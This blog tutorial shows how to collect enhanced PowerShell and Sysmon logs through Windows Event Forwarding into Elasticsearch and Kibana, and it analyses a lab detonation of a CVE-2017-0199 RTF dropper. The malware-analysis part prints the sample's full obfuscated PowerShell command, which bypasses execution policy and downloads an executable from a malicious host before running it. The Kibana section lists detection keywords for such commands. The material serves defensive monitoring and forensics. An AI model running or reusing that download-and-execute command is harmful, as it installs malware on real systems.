Enhanced PowerShell Logging and Sysmon Logs to ElasticSearch and Visualization/Dashboarding using Kibana - Part 1 of Series

So I was thinking of coming up with a quick and easy solution whereby the power of enhanced powershell logging, sysmon and Elasticsearch+Kibana can be used to gain visibility during security monitoring/security analysis, into threats leveraging powershell, and at the same time these logs can be used to perform IR and malware forensics and analysis.

My lab comprise of a Windows server 2012 for DC, Win 7 client and ELK stack running on an Ubuntu server.

The enhanced powershell logging features are present in V3 and newer, and therefore all endpoints needs to get the the latest PS V5 installed on them. PS Enhanced logging can be enabled on GPO but in case if you have windows 2012 DC, you would have to download the GPO administrative templates for Windows 10/Windows server 2016 from MS website:

Once you download, copy the admx and adml files in the respective folders in "c:\windows\policydefinitions"

Once you get that into place, you will be able to see options in GPO to turn on:

1. Module Logging
2. PS Script Block Logging
3. Powershell Transcription Logging

You configure to log all modules

Script block logging when enabled, will give visibility into unobfuscated PS as it records the actual decoded code delivered to the PS engine just before execution:

Also PS transcription logging (Which is not stored in windows event logs, but is stored in timestamped files in "My Documents" folder). This can be directed to a write-only network share from all machines and then injested by SIEM. Any text written on PS console will be recorded in these logs.

 in order to record a timestamp for each command executed.

After making the change sin the GPO, let us update the clients:

After doing that, let us look at a sample execution of an obfuscated PS script:

Using PS ISE to execute the encoded script Untitled1.ps1:

Script Block Logging

We can see under Microsoft-Windows-Powershel/Operational the event log indicating the Untitled1.ps1 being executed:

PS Scriptblock log showing the base64 encoded command:

Here we can see the deobfuscated/decoded script

Pipeline Execution

We can clearly see the pipeline execution logs for the deobfuscated commandline

PS Transaction Logging

We can see the log files created in the "My documents" folder, where we can see the details of the deobfuscated command executed and output of the execution with date and time stamps:

Let us move to sysmon now. The center stage for this tool is its config file, which needs to be configured correctly and tuned so that only relevant logs can be captured, while irrelevant logs are not. Some cool references can be found at:

https://github.com/SwiftOnSecurity/sysmon-config

https://github.com/ion-storm/sysmon-config/blob/master/sysmonconfig-export.xml

https://www.rsaconference.com/writable/presentations/file_upload/hta-w05-tracking_hackers_on_your_network_with_sysinternals_sysmon.pdf

https://decentsecurity.com/sysmon-enterprise-configuration/

http://www.woanware.co.uk/forensics/virustotalchecker.html

https://www.crowdstrike.com/blog/sysmon-2/

Installing the sysmon service on endpoints is pretty straighforward and a reference on how to push sysmon and its config file to all the endpoints in the network using GPO and installing it can be found at:

http://syspanda.com/index.php/2017/02/28/deploying-sysmon-through-gpo/

Installing with the tuned config file:

 Once installed we can see sysmon logs appearing in the operational folder:

Setting up Log subscription / Collector

Once we configure this, we got to set up a centralized logging for both enhanced powershell logs and sysmon logs from all endpoints to a central server.

Configuring the Forwarders

For this we need to configure Winrm on the forwarders (all endpoints) as below and ensure that this service is running on the collector component:

OR

Using Group Policy

Computer > Policies > Administrative Templates > Windows Components > Windows Remote Management (WinRM) > WinRM Service

Add the computer name of the "Collector" and the NETWORK SERVICE user in the "Event Log Readers" local group on the endpoints:

Also add NETWORK SERVICE user and the admin user to the "WinRMRemoteWMIUers__" local group on the endpoints:

We also have to execute the following command on all endpoints AFTER CONFIGURING THE SUBSCRIPTION ON THE COLLECTOR END, in order to add the SID S-1-5-20 of local group "Event Log Readers" to Channel Access. Unless this is done the Sysmon logs will not be received by the collector.

wevtutil sl Microsoft-Windows-Sysmon/Operational /ca:O:BAG:SYD:(A;;0xf0007;;;SY)(A;;0x7;;;BA)(A;;0x1;;;BO)(A;;0x1;;;SO)(A;;0x1;;;S-1-5-32-573)(A;;0x1;;;S-1-5-20)

Ref: "https://natesec.com/configuring-windows-event-forwarding-with-sysmon/"

Configuring the Collector:

Ok let us configure the collector server now. Run the wecutil command to enable Windows Events Collection:

Now let us create subscription

You can designate the designation of the logs coming from subscribers/forwarders to "Forwarded Events" or another folder of your choice. Click on "Select Computers" to add the subscribers/forwarders.

Now select the events using the XML based XPath for powershell and sysmon logs, which are being generated on the endpoints/subscribers/forwarders:

 After sometime you will see the logs start coming in from subscribers/endpoints in the Forwarded Events folders of the event log viewer of the Collector:

Malware Forensics

Now let us look at the visibility of endpoints using the events forwarded to the collector by running a live malware on one of the endpoint/subscriber/forwarder:

I detonated the MSO rtf file with embedded exploit CVE-2017-0199, which automatically updates the OLE2 embedded link object and retrieves the HTA file. Next winword.exe looks up the file handler for application/hta object and causes the mshta.exe to load the malicious hta file.

It is to be noted that Winword.exe makes a request to the DCOMLaunch service, which in turn causes the svchost.exe process hosting DCOMLaunch to execute mshta.exe. Mshta.exe then executes the script embedded in the malicious HTA document. So winword.exe is not the parent process for the mshta.exe process. 

Consequently hta downloads and executes the malicious obfuscated powershell script, which then downloads another malicious binary. This binary then drops the Autoit script interpreter and the malicious autoit script, which is then executed:

Opening the malicious RTF file:

We can see the embedded link downloading the hta file:

We can see malicious powershell processes running on the endpoint in the task manager:

We can see winword.exe did not spawn any child process:

We can see the mshta.exe spawning powershell and the first stage binary "roam.exe" and the autoit script interpreter "hds.exe"

The obfuscated PS script can be seen below:

------------------------------------------------First (parent) PS obfuscated payload -----------------------------

"C:\Windows\SYstEm32\wiNdOWSPoweRsHELL\v1.0\poweRsHELL.ExE"  "               POweRSHelL.ExE              -exECuTIOnPOLiCy           byPASs  -NOpRofile          -WINDOWStyle   HIDdEn  -encodedcomMAnd CQBzAGUAVAAtAGMAbwBOAFQAZQBOAFQACQAtAFYAQQBMAFUARQAJACgATgBFAFcALQBPAGIASgBlAEMAVAAgAHMAeQBzAHQARQBNAC4ATgBFAFQALgB3AEUAQgBDAGwASQBFAG4AdAApAC4ARABPAHcATgBsAG8AQQBkAEQAYQB0AGEAKAAJAB0gaAB0AHQAcAA6AC8ALwB2AGkAZwByAGEAYwBhAHMAaAAuAHQAbwBwAC8AdABoAGUAbQBlAHMALwBrAGsAawAvAFMATwBBAC4AZQB4AGUAHSAJACkACQAtAEUAbgBDAE8AZABJAG4AZwAJAGIAeQB0AGUACQAtAFAAQQBUAGgACQAdICQAZQBuAHYAOgBhAHAAcABkAEEAVABBAFwAcgBvAGEAbQAuAGUAeABlAB0gCQA7AAkAUwBUAEEAUgB0AAkAHSAkAEUATgBWADoAQQBQAHAARABBAFQAYQBcAHIAbwBhAG0ALgBlAHgAZQAdIA==               "

------------------------------------------------Second PS (child) obfuscated payload ----------------------------

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exECuTIOnPOLiCy byPASs -NOpRofile -WINDOWStyle HIDdEn -encodedcomMAnd CQBzAGUAVAAtAGMAbwBOAFQAZQBOAFQACQAtAFYAQQBMAFUARQAJACgATgBFAFcALQBPAGIASgBlAEMAVAAgAHMAeQBzAHQARQBNAC4ATgBFAFQALgB3AEUAQgBDAGwASQBFAG4AdAApAC4ARABPAHcATgBsAG8AQQBkAEQAYQB0AGEAKAAJAB0gaAB0AHQAcAA6AC8ALwB2AGkAZwByAGEAYwBhAHMAaAAuAHQAbwBwAC8AdABoAGUAbQBlAHMALwBrAGsAawAvAFMATwBBAC4AZQB4AGUAHSAJACkACQAtAEUAbgBDAE8AZABJAG4AZwAJAGIAeQB0AGUACQAtAFAAQQBUAGgACQAdICQAZQBuAHYAOgBhAHAAcABkAEEAVABBAFwAcgBvAGEAbQAuAGUAeABlAB0gCQA7AAkAUwBUAEEAUgB0AAkAHSAkAEUATgBWADoAQQBQAHAARABBAFQAYQBcAHIAbwBhAG0ALgBlAHgAZQAdIA==

-----------------------------------------------------------hds.exe (parent)------------------------------------------

Here we can see that the Autoit binary hds.exe is executed with "nss-ggh" parameters:

-----------------------------------------------------------hds.exe (child)---------------------------------------------

We see the malicious Autoit script (DRQUS) being passed on to the Autoit interpreter:

 Let us analyse the logs.

We can see the process mshta.exe being created with parent process svchost.exe -k DcomLaunch:

We can see the obfuscated PS being spawned by mshta.exe

We can see another powershell script and a powershell module being dropped by the first powershell.exe process:

Let us look at scrip block logs of PS:

 Here we see the deobfuscated code of the second PS, downloading the first stage binary and saving it as roam.exe in the appdata folder:

We can also see the malicious network conn from the powershell process to download this:

Next we see the process creation of malicious first stage roam.exe

We can also see the creation of a compressed file by roam.exe. From the name of it, I am guessing it is an sfx file to be decompressed in order to check some permissions? maybe?

Next we see sysmon is telling us that roam.exe spawned the hds.exe binary

 We can see comm to malicious ip from the roam.exe process

We can see the Autoit process created with the malicious autoit script passed as the argument:

Spawning of Autoit script:

We can see the malicious autoit script creating persistence mechanism:

Also we see that the the malicious autoit script when executed also spawns an instance of "RegSvcs.exe"

We can see the artifacts

 hds.exe is a signed binary from Autoit consulting:

Log Collection, Aggregation and Visualization using ELK

I downloaded the latest versions of Elasticsearch, Kibana and Winlogbeat from https://www.elastic.co/downloads

Installed the Elasticsearch and Kibana on my Ubuntu server and configured the yml files, setting up node and inegrating both. I had to run the following command to increase virtual memory which can be mapped in my Ubuntu vm for the Elasticsearch instance to start without error:

" sudo sysctl -w vm.max_map_count=262144"

Next I installed Winlogbeat on my "Collector" machine, which is the one receiving the Syslog and pwoershell logs from the endpoints/subscribers/forwarders. The idea is to ship the logs from "ForwardedEvents" folder of event logs to the Elasticsearch.

Once I installed and configured Winlogbeat I tested its configuration:

We need to specify the name of the events which are to be shipped to ELK, and the ip address of the ELK cluster node. The default port 9200 is where ELK listens for incoming JSONs objects:

Once we install the service, we need to start it

 As soon as this service starts and ELK is all set up, we can see logs start flowing from ForwardedEvents folder on the Collector box to the Elasticsearch on our Ubuntu box.

Let us run another malicious sample exploiting the same CVE 2017-0199 on one of our endpoints and see how these logs are visualized in Kibana.

Malicious artifacts created and event logs generate are below:

It seems to be the Remcos malware

Kibana Queries and Visualization

Once we have the Sysmon and Powershell enhanced logging data ingested by Elasticsearch, we can write queries in Kibana Discover tab to create "Detection Queries".

1.  Hunting for processes making outbound network connections which normally should not:

can query for events where the event_id is 3 (sysmon network connection), the process which is making the network connection is winword.exe and you can whitelist some IPs using NOT clause for destinationIp:

Once you create this search query, you can go to Visualize tab, and create a time-based graph, chart etc based on the saved search and now save this Visualization:

Next logical thing is to create a dashboard by navigating to the dashboard tab and add the saved visualization:

2.   Hunting for deobfuscated PS in pipeline execution events where keyword "WebClient" is use, indicating possible malicious download:

We will repeat the same steps to create a visualization and a dashboard item for all PS logs showing a call to System.Net.WebClient to download something and we visualize all such PS code:

Here is the dashboard with two items:

3. Finding Obfuscated or Suspicious PS

Following query can be used to look for all events with event_id:1 of sysmon (process create), and with keywords "encoded", "noprofile", "bypass", "hidden" anywhere in the raw log and the cmdline containing powershell.exe:

A weird pie chart created to visualize the above search

Added to the dashboard:

4.      Process running from appdata and making outbound network connection

This is just the beginning of what you can do with the powerful logging capabilities of sysmon and powershell as well as the visualization capabilities of Elasticsearch + Kibana.

Next time we will look into detecting various other kind of attacks like reflective DLL injection, mimikatz etc.